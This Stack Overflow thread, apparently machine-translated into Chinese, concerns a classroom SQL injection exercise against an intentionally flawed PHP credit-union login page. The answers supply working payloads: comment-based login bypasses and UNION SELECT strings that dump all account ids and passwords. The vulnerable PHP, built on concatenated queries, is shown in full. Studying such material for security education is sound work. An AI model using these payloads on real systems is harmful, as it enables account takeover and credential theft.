【问题标题】:SQL injection attack with php使用 php 进行 SQL 注入攻击
【发布时间】:2014-07-04 07:38:29
【问题描述】:

这是我的计算机安全课作业的一部分,所以我不是在寻找具体的答案,只是一些帮助。

我们得到了一个控制 sql 数据库(银行账户)的错误程序(在 php 中),我们必须找到一种方法来创建 SQL 注入攻击,让我们在不知道账户 ID 的情况下登录账户时间。

我很确定我知道漏洞在哪里,但我似乎无法让我的攻击发挥作用。

有问题的代码(有点长,但唯一重要的部分是第一部分):

<html><head><title>FrobozzCo Community Credit Union</title></head>
<body>
<h1>FrobozzCo Community Credit Union</h1>
<h4><i>We're working for GUE</i></h4>
<hr>
<?php

$debugmode = 1;
function debug($msg) {

    global $debugmode;

    if ($debugmode) {
        echo "<h4>$msg</h4>\n";
    }
}

$thispage = 'FCCU.php';
echo "<form action='$thispage' method='post' name='theform'>\n";
$dbuser = 'fccu';
$dbpass = 'fccubucks';
$dbhost = 'localhost';
$dbname = $dbuser;

$PARAM = array_merge($_GET, $_POST);

// get username and password from form
if (!$PARAM['id'] || !$PARAM['password']) {
    login();
} else { // otherwise, attempt to authenticate
    $id = $PARAM['id'];
    $password = $PARAM['password'];

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT * FROM accounts WHERE id = $id AND password = '$password'";
    debug($query);
    $result = mysql_query($query) or die(mysql_error());
    $row = mysql_fetch_array($result); // there should be only one row

    if (!$row) { // auth failure
        echo "<p><b>Your ID number and password you entered do not match.</b></p>";
        echo "<p>Please try again.</p>";
        login();
    } else { // this user is authenticated!

        // store authentication information in this form
        echo "<input type=\"hidden\" name=\"id\" value=\"$id\" />\n";
        echo "<input type=\"hidden\" name=\"password\" value=\"$password\" />\n";

        banner($row);

        // perform any requested actions (wire, transfer, withdraw)
        if ($PARAM['action'] == 'Transfer Money') {
            transfer_funds($id, 
                       $password,
                           $PARAM['transfer_to'], 
                       $PARAM['transfer_amount']);
        } elseif ($PARAM['action'] == 'Wire Money') {
            wire_funds($id,
                        $password,
                            $PARAM['routing'],
                        $PARAM['wire_acct'],
                        $PARAM['wire_amount']);
        } elseif ($PARAM['action'] == 'Withdraw Money') {
            withdraw_cash($id,
                          $password,
                              $PARAM['withdraw_amount']);
        }

        // normal output

        // account info
        $query = "SELECT * FROM accounts WHERE id = $id AND password = '$password'";
        $result = mysql_query($query) or die(mysql_error());
        $row = mysql_fetch_array($result); // there should be only one row
        account_info($row);

        // get current account list by name
        $query = "SELECT first, last FROM accounts ORDER BY last";
        $names = mysql_query($query) or die(mysql_error());
        account_actions($row, $names);
    }


}
echo "<hr>\n";
echo "Generated by FCCU.php at " . date("l M dS, Y, H:i:s",5678)."<br>";

function name_to_id($name) {

    global $dbhost, $dbuser, $dbpass, $dbname;
    $splitname = explode(", ", $name);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);
    $query = "SELECT id FROM accounts WHERE first = '$splitname[1]' AND last = '$splitname[0]'";
    $result = mysql_query($query) or die(mysql_error());
    $row = mysql_fetch_array($result);
    $id = $row[0];

    return $id;
}

function action_error($msg, $error) {

    echo "<table bgcolor='#ff0000' color='#ffffff' align=center border=1>
          <tr><td><center><b>ERROR!</b></center></td></tr>
          <tr><td>
                  <p align='center'>$msg</p>
                  <p align='center'>Please go back and try again or contact tech support.</p>
                  <p align='center'><i>args: $error</i></p>
              <p align='center'><input type='submit' name='clear' value='Clear Message'></p>

              </td></tr>
          </table>";
}

function withdraw_cash($id, $password, $amount) {

    global $dbhost, $dbuser, $dbpass, $dbname;

    $amount = floor($amount);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT bal FROM accounts WHERE password = '$password' AND id = $id";
    debug("126: ($password) " . $query);
    $result = mysql_query($query);

    $row = mysql_fetch_array($result);
    $giver_has = $row[0];

    if ($amount > 0 && $giver_has >= $amount) {
        $giver_has = $giver_has - $amount; // there's a problem here but it's not SQL Injection...
        pretend("withdraw cash", $amount);
        $query = "UPDATE accounts SET bal = $giver_has WHERE password = '$password' AND id = $id LIMIT 1";
        mysql_query($query) or die(mysql_error());
        echo "<h2 align='center'>Cash withdrawal of $$amount complete.</h2>
              <h3 align='center'>Your cash should be ready in accounting within 45 minutes.</h3>\n";
    } else {
        action_error("Problem with cash withdrawal!",
                         "'$id', '$giver_has', '$amount'");
    }
}


function wire_funds($id, $password,  $bank, $account, $amount) {

    global $dbhost, $dbuser, $dbpass, $dbname;

    $amount = floor($amount);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT bal FROM accounts WHERE password = '$password' AND id = $id";
    debug($query);
    $result = mysql_query($query);

    $row = mysql_fetch_array($result);
    $giver_has = $row[0];

    if ($amount > 0 && $giver_has >= $amount && $bank && $account) {
        $giver_has = $giver_has - $amount; // there's a problem here but it's not SQL Injection...
        pretend("wire money", $amount, $bank, $acct);
        $query = "UPDATE accounts SET bal = $giver_has WHERE password = '$password' AND id = $id LIMIT 1";
        debug($query);
        mysql_query($query) or die(mysql_error());
        echo "<h2 align='center'>Wire of $$amount to bank ($bank) account ($account) complete.</h2>\n";
    } else {
        action_error("Problem with wire fund transfer!", 
                     "'$id', '$amount', '$giver_has', '$bank', '$account'");
    }
}

function pretend() {

    return 1;
}

function transfer_funds($giver_id, $password, $recipient, $amount) {

    global $dbhost, $dbuser, $dbpass, $dbname;

    $amount = floor($amount);
    $recipient_id = name_to_id($recipient);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT bal FROM accounts WHERE id = $giver_id OR id = $recipient_id";
    debug($query);
    $result = mysql_query($query);

    $row = mysql_fetch_array($result);
    $recipient_has = $row[0];
    $row = mysql_fetch_array($result);
    $giver_has = $row[0];
    debug("$giver_has, $recipient_has");

    if ($amount > 0 && $giver_has >= $amount && $recipient_has) {
        $giver_has = $giver_has - $amount; // there's a problem here but it's not SQL Injection...
        $recipient_has = $recipient_has + $amount; // does anyone know what it is?
        $query = "UPDATE accounts SET bal = $recipient_has WHERE id = $recipient_id LIMIT 1";
        debug($query);
        mysql_query($query) or die(mysql_error());
        $query = "UPDATE accounts SET bal = $giver_has WHERE password = '$password' AND id = $giver_id LIMIT 1";
        debug($query);
        mysql_query($query) or die(mysql_error());
        echo "<h2 align='center'>Transfer of $$amount to $recipient complete.</h2>\n";
    } else {
        action_error("Problem with employee fund transfer!",
                         "'$giver_id', '$recipient', '$amount', '$giver_has'");
    }
}

function account_info($row) {

    echo "<table border='1' align='center'>
          <tr><td colspan='2'><p><center><b>Account Information</b></center></p></td></tr>
          <tr><td><b>Account:</b></td><td>$row[0]</td></tr>
          <tr><td><b>Balance:</b></td><td>$$row[1]</td></tr>
          <tr><td><b>Birthdate:</b></td><td>$row[6]</td></tr>
          <tr><td><b>SSN:</b></td><td>$row[5]</td></tr>
          <tr><td><b>Phone:</b></td><td>$row[4]</td></tr>
          <tr><td><b>Email:</b></td><td>$row[7]@frobozzco.com</td></tr>
          </table>\n";
}

function account_actions($row, $names) {

    global $thispage;

    echo "<table border=1 width='600' align='center'>

          <tr><td><center><b>Account Actions</b></center></td></tr>

          <tr><td><center><b>Wire Funds</b></center></td></tr>

          <tr><td>
          <p>To wire funds: enter the amount (in whole dollars), the 
          receiving bank's <b>routing number</b> and <b>receiving account number</b>, 
          and press 'Wire Funds!'</p>
          Wire amount: $<input name=wire_amount /><br />
          Routing Number: <input name=routing /> (e.g. 091000022)<br />
          Account Number: <input name=wire_acct /> (e.g. 923884509)<br />
          <p align='center'><input type='submit' name='action' value='Wire Money'></p>
          <p />
          </td></tr>

          <tr><td><center><b>Transfer Money</b></center></td><tr>

          <tr><td><p>To transfer money to another FCCU account holder, select the 
          employee from the drop-down menu below, enter an ammount (in whole dollars)
          to transfer, and press 'Transfer Money!'</p>
          Transfer Amount: $<input name=transfer_amount /><br />
          Transfer To: ";
          // create dropdown menu with accounts
          echo "<select name='transfer_to' selected='select employee'>\n";
          echo "<option value='nobody'>select employee</option>\n";
          while ($name = mysql_fetch_array($names)) {
              echo "<option value=\"$name[1], $name[0]\">$name[1], $name[0]</option>\n";
          }
          echo "</select>\n";
          echo "<br />
          <p align='center'><input type='submit' name='action' value='Transfer Money'></p>
          <p />
          </td></tr>

          <tr><td><center><b>Withdraw Cash</b></center></td><tr>

          <tr><td><p>To withdraw cash, enter an amount (in whole dollars) and press 
          the 'Withdraw Cash!' button. The cash will be available in the accounting 
          office within 45 minutes.</p>
          Withdraw Amount: $<input name=withdraw_amount /><br />
          <p align='center'><input type='submit' name='action' value='Withdraw Money'></p>
          <p />
          </td></tr>
          </table>
          \n";

}

function banner($row) {

    global $thispage;

    $fullname = "$row[2] $row[3]";
    echo "<table width='100%'><tr><td>
    <p align='left'>Welcome, $fullname. (<a href='$thispage'>Log Out</a>)</p>
          </td><td>
          <p align='right'><i>(If you aren't $fullname, <a href='$thispage'>click here</a>.)</i></p>
          </td></tr></table>\n";
    echo "<hr>\n";


}

function login() {

    global $thispage;

    echo "<p>Enter your <b>account ID</b> and password and click \"submit.\"</p>\n";
    echo "<table>\n";
    echo "<tr><td>Account ID Number: </td><td><input name='id' cols='10' /></td></tr>\n";
    echo "<tr><td>Password (alphanumeric only): </td><td><input name='password' cols='30' /></td></tr>\n";
    echo "<tr><td><input type='submit' value='Submit' name='submit'></td><td></td></tr>\n";
    echo "</table>\n";

}

?>
</form>
<p>Done.</p>
</body>
</html>

行:

$query = "SELECT * FROM accounts WHERE id = $id AND password = '$password'";

我在 ID 输入中尝试了几个字符串(我在浏览器中工作),例如

100 OR id=id;
0 OR 1=1;

尝试注释掉命令的密码部分。我对 SQL 很陌生,所以我认为我只是格式错误。

那个或者我完全忽略了一个更明显的漏洞。

【问题讨论】:

  • 您的思路是正确的,但是您需要在使用 OR 子句之前在 SQL 中结束字符串,仅此一项在语法上并不正确 - 您还需要注释掉其余部分sql 查询以避免语法错误。
  • 这些 SQL 查询中的任何一个都在注入中打开。将 ID 设置为0 OR 1=1; -- -- 是 MySQL 中的注释。或者为了更有趣,将 ID 设置为有效 ID,密码设置为 ' OR 1=1; --
  • @RocketHazmat 试图支持您的答案,但您已将其删除?唯一的问题是它在 OR 之前需要一些东西,否则它看起来像 WHERE id = OR id=id; --
  • @MrCode:我删除了答案,因为它被否决了。我修正了那个错字并取消删除它;)
  • @user1777900 提示:除了提权漏洞外,还可以通过这段代码中的一些 SQLi 漏洞提取整个数据库(需要足够的时间和耐心)。

标签: php mysql sql sql-injection


【解决方案1】:

您需要确保注释掉查询的其余部分,这样引号就不会绊倒您,因此任何额外的子句都会被忽略。

尝试将 ID 设置为:

0 OR id=id -- 

-- (即连字符、连字符、空格:空格很重要)是 MySQL 中的注释。

【讨论】:

  • @MrCode:可能是因为拼写错误? :-)
  • 嗯,这个不行。我认为这可能是来自 $id = $PARAM['id']; 的撇号;不过,我会尝试弄乱它。
  • @user1777900:什么撇号?查询有id = $id,这里不需要撇号。您确定同时设置 ID 和密码了吗?
  • 删除分号,这应该可以工作。请记住包括终止空间。根据 php.net/mysql_query “查询字符串不应以分号结尾”。
  • @MrCode:我没想到;会造成问题,这是个好建议。
【解决方案2】:

你在学校,我不想只是给你答案。 :P

鉴于查询没有参数化...

注意撇号的位置。

记住查询:

Select field
FROM table
WHERE field = '<-- Note these -->'

不过你走在正确的轨道上!

课程

如果可以的话,始终、始终、始终使用参数化查询。 PDO 也是在 PHP 中访问数据库的好方法。

示例

anything' OR 'x'='x

【讨论】:

  • 呸,撇号。忘了那些。我会再试一次,不过谢谢!
  • 不,有问题。希望您了解这些攻击以及它们是如何发生的。 :)
  • @user1777900 在示例中编辑,希望对您有所帮助。
【解决方案3】:

利用 SQL 注入是提供值的艺术,当将这些值合并到 SQL 语句中时,会产生有效的 SQL 语句语法,同时将开发人员预期的语义更改为对攻击者有利的语义。

现在,如果我们查看您的 id100 OR id=id;password 的尝试,生成的 SQL 如下所示:

SELECT * FROM accounts WHERE id = 100 OR id=id; AND password = 'something'

现在你有两个问题:

  1. mysql_query 只支持一个语句的执行,如果有多个语句就会抛出错误。
  2. 即使支持多条语句,返回值也会是第二条语句的结果,这显然是无效的。

所以要解决这个问题,最简单的方法是注入一个comment,它的语法是#--  (note the trailing space) 直到行尾。所以你可以为 id 使用以下之一:

100 OR id=id #
100 OR id=id -- 

或者你注入一个独立的OR 子句,没有像这样的任何 cmets:

100 OR id=id OR id

这将导致:

SELECT * FROM accounts WHERE id = 100 OR id=id OR id AND password = 'something'

这里id=id 对每一行都是正确的。

【讨论】:

    【解决方案4】:

    accepted answer 涵盖所有内容。

    但是我注意到,在最初的问题中,有一点是“让我们提前登录一个帐户而不知道它的 ID”。

    假设您事先知道名称(但不知道 id),那么您可以将 id 设置为如下所示

    0 OR (first='joe' AND last='bloggs') -- 
    

    我也倾向于将密码设置为:-

    ' OR (first='joe' AND last='bloggs') -- 
    

    这样,在用户 ID 之前检查密码的查询(例如余额检查)也可以正常工作

    为了您的娱乐,您可以尝试其他一些有趣的东西。将 id 设置为如下所示:-

    0 UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') -- 
    

    和这样的密码:-

    ' UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') -- 
    

    这应该会在 account_info 函数中输出实际密码(您可能需要再添加几次“,password”,以便列数与帐户表中的列数匹配)。

    或者如果你想要所有的ID:-

    0 UNION SELECT -1, GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)) FROM accounts -- 
    

    和密码:-

    ' UNION SELECT -1, GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)) FROM accounts -- 
    

    这样的东西应该会为您提供系统中的所有 ID 和密码(受 GROUP_CONCAT 的最大长度限制)。这样您之后就可以使用您想要的任何 ID 和密码轻松登录。

    我复制了你的脚本并敲了一个测试表,上面的工作。

    【讨论】:

      【解决方案5】:

      基本上,您可以使用GETPOST 进行攻击。 GET 方法要简单得多,只需创建一个名为 id 的 URL 参数,并使用您想要的 SQL 进行注入。

      http://www.somesite.com/FCCU.php?id=id -- 
      

      您可能需要对其进行 URI 编码,只需先尝试未编码即可。然后服务器将运行查询:

      SELECT * FROM accounts WHERE id = id -- AND password = '$password'
      

      因为密码条件被注释掉并且 WHERE id = id 等同于 WHERE TRUE ,最终会以相同的方式工作:

      SELECT * FROM accounts
      

      该查询的返回值随后存储在一个变量中,该变量包含站点数据库中每个人的所有帐户信息。由于他们将该变量传递给他们的调试函数,因此您只需打开调试模式,您应该会看到每个人的机密登录名和密码信息。

      【讨论】:

        【解决方案6】:

        破解不好,但是:

        SELECT * FROM accounts WHERE id = $id AND password = '$password'"
        

        在 id 字段中

        1 --
        2 --
        

        1-- // without space
        2--
        

        这样你就可以作为每个用户登录

        【讨论】:

        • 在这种情况下,黑客是一个家庭作业,所以。 :) 至于你的例子,它需要知道一个 ID。可能没有用户 1 或 2,甚至 123153333334。如果您只想闯入并且不在乎谁。或者,使用可能不存在的 ID,然后选择您知道特定帐户将具有的任何字段。
        【解决方案7】:

        您可以将其作为 id 输入(例如,id 为 123 的帐户):

        123 OR 1=2
        

        诀窍在于第二部分的计算结果为 FALSE,因此您只有 id=123 作为结果。使用 true 条件将导致所有行,因此如果表已排序,您可能会得到 id=1。

        下一步是检查生成的页面,并查看隐藏密码字段。然后,您将能够使用正确的 ID 和密码发送更多查询。

        【讨论】:

        • "...创建一个 SQL 注入攻击,让我们在不提前知道其 ID 的情况下登录帐户。"
        猜你喜欢
        • 2021-12-11
        • 2011-03-27
        • 2015-10-03
        • 2019-08-10
        • 2018-06-23
        • 2013-05-21
        • 2013-08-15
        • 2012-04-14
        相关资源
        最近更新 更多